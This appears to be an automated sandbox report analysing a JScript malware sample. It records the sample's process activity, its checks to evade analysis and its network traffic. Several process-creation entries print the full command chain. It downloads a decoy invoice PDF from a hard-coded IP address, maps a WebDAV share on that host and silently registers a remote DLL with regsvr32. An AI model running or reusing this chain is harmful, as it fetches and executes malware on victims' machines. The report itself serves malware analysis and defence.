Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7262.js.csv");ITextStream.WriteLine(" entry:8445 f:gnwuu");ITextStream.WriteLine(" exec:2 f:gnwuu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49714

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4453			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5378			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep count: 4453 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5552	Thread sleep count: 5378 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4148	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3780	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7724	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2218878516.0000019BBA868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2218878516.0000019BBA8CE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3456655361.0000025A68C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3455427960.0000025A6362B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129552247129098.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
